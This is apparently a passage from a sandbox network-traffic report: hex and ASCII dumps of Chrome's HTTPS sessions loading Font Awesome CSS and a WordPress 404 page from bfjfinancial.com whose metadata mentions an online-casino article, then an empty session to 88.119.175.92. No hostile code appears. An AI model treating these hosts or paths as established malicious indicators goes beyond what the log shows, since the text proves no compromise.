2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 30 35 37 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 63 68 65 63 6b 2d 63 69 72 63 6c 65 2d 6f 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 63 68 65 63 6b 2d 63 69 72 63 6c 65 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 35 38 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 6d 61 69 6c 2d 66 6f 72 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 34 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 65 78 70 61 6e 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 34 32 34 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 63 6f Data Ascii: 057"; }.fa.fa-check-circle-o { font-family: 'Font Awesome 5 Free'; font-weight: 400; }.fa.fa-check-circle-o:before { content: "\f058"; }.fa.fa-mail-forward:before { content: "\f064"; }.fa.fa-expand:before { content: "\f424"; }.fa.fa-co
2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 20 22 5c 66 31 36 35 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 68 65 61 72 74 2d 6f 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 68 65 61 72 74 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 34 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 73 69 67 6e 2d 6f 75 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 32 66 35 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 6c 69 6e 6b 65 64 69 6e 2d 73 71 75 61 72 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 0a 20 20 66 6f Data Ascii: "\f165"; }.fa.fa-heart-o { font-family: 'Font Awesome 5 Free'; font-weight: 400; }.fa.fa-heart-o:before { content: "\f004"; }.fa.fa-sign-out:before { content: "\f2f5"; }.fa.fa-linkedin-square { font-family: 'Font Awesome 5 Brands'; fo
2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 65 64 69 74 2d 63 61 72 64 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 66 65 65 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 39 65 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 68 64 64 2d 6f 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 68 64 64 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 30 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 68 61 6e 64 2d 6f 2d 72 69 67 Data Ascii: edit-card { font-family: 'Font Awesome 5 Free'; font-weight: 400; }.fa.fa-feed:before { content: "\f09e"; }.fa.fa-hdd-o { font-family: 'Font Awesome 5 Free'; font-weight: 400; }.fa.fa-hdd-o:before { content: "\f0a0"; }.fa.fa-hand-o-rig
2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 70 69 6e 74 65 72 65 73 74 2d 73 71 75 61 72 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 67 6f 6f 67 6c 65 2d 70 6c 75 73 2d 73 71 75 61 72 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 67 6f 6f 67 6c 65 2d 70 6c 75 73 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 0a 20 20 66 6f 6e 74 2d 77 Data Ascii: 0; }.fa.fa-pinterest-square { font-family: 'Font Awesome 5 Brands'; font-weight: 400; }.fa.fa-google-plus-square { font-family: 'Font Awesome 5 Brands'; font-weight: 400; }.fa.fa-google-plus { font-family: 'Font Awesome 5 Brands'; font-w
2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 2d 70 61 73 74 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 33 32 38 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 6c 69 67 68 74 62 75 6c 62 2d 6f 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 6c 69 67 68 74 62 75 6c 62 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 65 62 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 65 78 63 68 61 6e 67 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 33 36 32 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 63 6c 6f 75 64 2d 64 6f 77 6e 6c 6f 61 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f Data Ascii: -paste:before { content: "\f328"; }.fa.fa-lightbulb-o { font-family: 'Font Awesome 5 Free'; font-weight: 400; }.fa.fa-lightbulb-o:before { content: "\f0eb"; }.fa.fa-exchange:before { content: "\f362"; }.fa.fa-cloud-download:before { co
2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 66 61 2d 66 6f 6c 64 65 72 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 37 62 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 66 6f 6c 64 65 72 2d 6f 70 65 6e 2d 6f 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 66 6f 6c 64 65 72 2d 6f 70 65 6e 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 37 63 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 73 6d 69 6c 65 2d 6f 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b Data Ascii: fa-folder-o:before { content: "\f07b"; }.fa.fa-folder-open-o { font-family: 'Font Awesome 5 Free'; font-weight: 400; }.fa.fa-folder-open-o:before { content: "\f07c"; }.fa.fa-smile-o { font-family: 'Font Awesome 5 Free'; font-weight: 400;
2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 66 61 2d 73 68 69 65 6c 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 33 65 64 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 6f 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 33 33 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 6d 61 78 63 64 6e 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 42 72 61 6e 64 73 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 Data Ascii: fa-shield:before { content: "\f3ed"; }.fa.fa-calendar-o { font-family: 'Font Awesome 5 Free'; font-weight: 400; }.fa.fa-calendar-o:before { content: "\f133"; }.fa.fa-maxcdn { font-family: 'Font Awesome 5 Brands'; font-weight: 400; }.fa
2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 74 6f 67 67 6c 65 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 35 31 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 63 61 72 65 74 2d 73 71 75 61 72 65 2d 6f 2d 72 69 67 68 74 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 63 61 72 65 74 2d 73 71 75 61 72 65 2d 6f 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 31 35 32 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 74 6f 67 67 6c 65 2d 72 69 67 68 74 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 Data Ascii: : 400; }.fa.fa-toggle-up:before { content: "\f151"; }.fa.fa-caret-square-o-right { font-family: 'Font Awesome 5 Free'; font-weight: 400; }.fa.fa-caret-square-o-right:before { content: "\f152"; }.fa.fa-toggle-right { font-family: 'Font Aw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.4	50180	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:00 UTC	636	OUT	GET /wp-content/uploads/2019/01/bfjabotucom.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/about-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:36:01 UTC	809	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 63843 cache-control: no-cache, must-revalidate, max-age=0 x-fw-server: Flywheel/5.1.0 x-xss-protection: 1 x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-fw-dynamic: TRUE expires: Wed, 11 Jan 1984 05:00:00 GMT referrer-policy: no-referrer-when-downgrade link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" x-content-type-options: nosniff content-type: text/html; charset=UTF-8 Server: Flywheel/5.1.0 X-Cacheable: NO:Not Cacheable Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:36:01 GMT X-Served-By: cache-ewr18174-EWR, cache-ewr18135-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867761.952714,VS0,VE582 Vary: Accept-Encoding X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e Data Ascii: <!DOCTYPE html><html class="no-js" lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php"><meta name='robots' content='noin
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 62 66 6a 64 65 76 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 41 72 74 69 63 6c 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 68 61 74 2d 69 73 2d 74 68 Data Ascii: or" content="bfjdev" /><meta name="twitter:card" content="summary_large_image" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"Article","@id":"https://www.bfjfinancial.com/what-is-th
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 22 32 30 32 34 2d 30 34 2d 30 39 54 31 39 3a 32 36 3a 34 32 2b 30 30 3a 30 30 22 2c 22 64 61 74 65 4d 6f 64 69 66 69 65 64 22 3a 22 32 30 32 34 2d 30 34 2d 30 39 54 31 39 3a 32 36 3a 34 32 2b 30 30 3a 30 30 22 2c 22 62 72 65 61 64 63 72 75 6d 62 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 68 61 74 2d 69 73 2d 74 68 65 2d 62 65 73 74 2d 6f 6e 6c 69 6e 65 2d 63 61 73 69 6e 6f 2d 77 65 62 73 69 74 65 73 2f 23 62 72 65 61 64 63 72 75 6d 62 22 7d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c Data Ascii: tps://www.bfjfinancial.com/#organization"},"datePublished":"2024-04-09T19:26:42+00:00","dateModified":"2024-04-09T19:26:42+00:00","breadcrumb":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb"},"inLanguage":"en-US",
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 36 2f 66 61 76 69 63 6f 6e 2d 31 2e 70 6e 67 22 2c 22 77 69 64 74 68 22 3a 38 30 2c 22 68 65 69 67 68 74 22 3a 34 35 2c 22 63 61 70 74 69 6f 6e 22 3a 22 42 46 4a 20 46 69 6e 61 6e 63 69 61 6c 20 47 72 6f 75 70 22 7d 2c 22 69 6d 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 2c 22 73 61 6d 65 41 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 66 6a 66 69 6e 61 6e 63 69 61 6c 22 2c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 2f 63 6f Data Ascii: ancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/co
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 6c 65 20 41 6e 61 6c 79 74 69 63 73 20 62 79 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 70 6c 75 67 69 6e 20 76 37 2e 32 35 2e 30 20 2d 20 55 73 69 6e 67 20 41 6e 61 6c 79 74 69 63 73 20 74 72 61 63 6b 69 6e 67 20 2d 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 78 61 63 74 6d 65 74 72 69 63 73 2e 63 6f 6d 2f 20 2d 2d 3e 0a 09 09 3c 21 2d 2d 20 4e 6f 74 65 3a 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 69 73 20 6e 6f 74 20 63 75 72 72 65 6e 74 6c 79 20 63 6f 6e 66 69 67 75 72 65 64 20 6f 6e 20 74 68 69 73 20 73 69 74 65 2e 20 54 68 65 20 73 69 74 65 20 6f 77 6e 65 72 20 6e 65 65 64 73 20 74 6f 20 61 75 74 68 65 6e 74 69 63 61 74 65 20 77 69 74 68 20 47 6f 6f 67 6c 65 20 41 6e 61 6c 79 74 69 63 73 20 69 6e 20 74 68 65 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 73 Data Ascii: le Analytics by ExactMetrics plugin v7.25.0 - Using Analytics tracking - https://www.exactmetrics.com/ -->... Note: ExactMetrics is not currently configured on this site. The site owner needs to authenticate with Google Analytics in the ExactMetrics s
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 75 66 65 30 66 5c 75 32 30 30 62 5c 75 32 36 61 37 5c 75 66 65 30 66 22 29 3f 21 31 3a 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 33 22 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 32 30 30 62 5c 75 64 38 33 63 5c 75 64 64 66 33 22 29 26 26 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 64 62 34 30 5c 75 64 63 36 35 5c 75 64 62 34 30 5c 75 64 63 36 65 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 37 66 22 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 35 Data Ascii: ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 43 61 6e 76 61 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 26 26 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 42 6c 6f 62 29 74 72 79 7b 76 61 72 20 65 3d 22 70 6f 73 74 4d 65 73 73 61 67 65 28 22 2b 66 2e 74 6f 53 74 72 69 6e 67 28 29 2b 22 28 22 2b 5b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 73 29 2c 75 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 74 6f 53 74 72 69 6e 67 28 29 5d 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 29 29 3b 22 2c 72 3d 6e 65 77 20 42 6c 6f 62 28 5b 65 5d 2c 7b 74 79 70 65 3a 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 7d 29 2c 61 3d 6e 65 77 20 57 6f 72 6b 65 72 28 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 Data Ascii: Canvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectUR
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 61 31 32 34 65 30 39 30 64 37 65 65 39 36 35 66 37 35 66 31 31 64 65 65 31 34 33 31 31 37 64 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 74 68 65 6d 65 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 Data Ascii: -block-library-css' href='https://www.bfjfinancial.com/wp-includes/css/dist/block-library/style.min.css?ver=4a124e090d7ee965f75f11dee143117d' type='text/css' media='all' /><style id='wp-block-library-theme-inline-css' type='text/css'>.wp-block-audio fig
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 2e 77 Data Ascii: er{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote.has-text-align-center{border:none;padding-left:0}.w
2024-04-11 20:36:01 UTC	1378	IN	Data Raw: 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 61 72 74 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 70 61 64 64 69 6e 67 3a 31 2e 32 35 65 6d 20 32 2e 33 37 35 65 6d 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 63 6c 61 73 73 69 63 2d 74 68 65 6d 65 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 Data Ascii: lock-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}</style><style id='classic-theme-styles-inline-css' type='text/css'>/! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;bord

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.4	50181	88.119.175.92	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
